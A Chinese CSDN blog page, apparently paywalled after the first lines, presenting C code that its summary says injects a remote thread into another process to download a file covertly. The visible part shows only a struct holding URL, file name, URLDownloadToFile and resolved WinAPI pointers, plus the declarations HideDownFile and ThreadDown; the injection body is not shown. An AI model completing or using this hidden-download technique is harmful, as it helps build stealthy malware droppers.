实现WSAStartup函数建立

最新推荐文章于 2022-12-06 16:58:46 发布

wuna66320

最新推荐文章于 2022-12-06 16:58:46 发布

阅读量3.1k

点赞数

分类专栏： c学习纪录文章标签： socket null dll winapi struct include

本文链接：https://blog.csdn.net/wuna66320/article/details/1172056

版权

本文档介绍了一种通过隐藏加载WSAStartup函数并利用WinAPI进行远程线程注入来下载文件的方法。首先定义了包含所需WSA结构和函数指针的结构体，然后定义了线程函数`ThreadDown`，该函数负责获取WSAStartup的地址并调用它。最后，`HideDownFile`函数用于创建远程线程并将参数注入到目标进程中，从而在后台执行文件下载。

摘要由CSDN通过智能技术生成

#include <windows.h>
#include <WINSOCK.H>
#define MAXINJECTSIZE (2048*7)

struct tagDownInfo
{
WSADATA v_wsadata;
SOCKET v_sock;
struct sockaddr_in v_target;
TCHAR v_buf[256];
TCHAR v_sendbuf[256];
int v_rcvid;
WORD v_VersionRequeste;
TCHAR v_WS2_32_LIB[20];
TCHAR szWSAStartup[500];
/*定义SOCK函数*/
int v_WSAStartup;
SOCKET v_socket;
int V_connect;

TCHAR szGetLastError[20];

TCHAR szUrl[500];
TCHAR szFile[500];
TCHAR szUrlmon[30];
TCHAR szUrlDowndToFile[30];
TCHAR szMessageBox[500];
TCHAR szUser32_lib[30];
bool bIsRun;
DWORD dwRunMode;
FARPROC funFunGetModuleHandleAddr;
FARPROC funFunGetProcAddressAddr;
FARPROC funFunLoadLibraryAddr;
FARPROC funFunGetLastErrorAddr;

};

bool HideDownFile(tagDownInfo* pInfo, DWORD dwProcessId);

DWORD WINAPI ThreadDown(LPVOID lParam)

最低0.47元/天解锁文章

wuna66320

关注

0
点赞
踩
1

收藏

觉得还不错? 一键收藏
0
评论
实现WSAStartup函数建立

#include #include #define MAXINJECTSIZE (2048*7)struct tagDownInfo{WSADATA v_wsadata;SOCKET v_sock;struct sockaddr_in v_target;TCHAR v_buf[256];TCHAR v_sendbuf[256];int v_rcvid;WORD v_VersionRequest
复制链接

扫一扫